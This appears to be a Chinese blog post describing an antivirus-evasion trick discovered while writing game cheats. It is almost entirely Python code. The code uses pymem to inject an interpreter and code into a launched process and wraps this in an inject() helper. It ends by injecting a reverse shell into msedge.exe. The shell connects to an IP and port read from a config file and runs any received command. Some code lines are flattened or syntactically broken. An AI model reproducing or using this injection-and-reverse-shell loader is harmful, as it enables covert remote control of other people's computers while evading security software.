写外挂时偶然想到的免杀思路

# 导入pymem模块，这是一个Python内存操作库 from pymem import Pymem # 导入os模块，这是一个提供了丰富的操作系统相关功能的库 import os # 导入subprocess模块，这是一个用于产生子进程，连接到它们的输入/输出/错误管道，获取它们的返回码的库 import subprocess 
# 使用subprocess.Popen启动记事本程序，并获取其进程对象 notepad = subprocess.Popen(['notepad.exe']) 
# 使用Pymem模块连接到记事本程序 pm = Pymem('notepad.exe') 
# 在记事本程序中注入Python解释器 pm.inject_python_interpreter() 
# 获取当前目录下的pymem_injection.txt文件的绝对路径，并将路径中的反斜杠替换为双反斜杠 filepath = os.path.join(os.path.abspath('.'), 'pymem_injection.txt') filepath = filepath.replace("\", "\\") 
# 定义要注入的Python代码，这段代码会在记事本程序中执行，它会打开一个文件，写入一些内容，然后关闭文件 shellcode = """ f = open("{}", "w+") f.write("pymem_injection") f.close() """.format(filepath) # 将定义的Python代码注入到记事本程序中 pm.inject_python_shellcode(shellcode)
 # 结束记事本程序 notepad.kill()

def inject(shellcode,process):        prcs = subprocess.Popen([process])        pm = Pymem(process)        pm.inject_python_interpreter()        pm.inject_python_shellcode(shellcode)        prcs.kill()

filepath = os.path.join(os.path.abspath('.'), 'pymem_injection.txt') filepath = filepath.replace("\", "\\") sc = """ f = open("{}", "w+") f.write("pymem_injection") f.close() """.format(filepath)

from pymemloader import inject sc="""import subprocessimport socketwith open('cfg', 'r') as f:    sip = f.readline().strip()    sport = int(f.readline().strip())print(sip,sport)client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)client_socket.connect((sip, sport))while True:    recv_data = client_socket.recv(20480)    command=recv_data.decode('utf-8')    result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)    send_data=result.stdout.decode('gbk')    client_socket.send(send_data.encode('utf-8'))""" #上面的loader可以用自己的pythonshellcodeloader #我这里用的是我的python小控https://github.com/H4ckBu7eer-EX/python_remote_CMD inject(sc,"msedge.exe")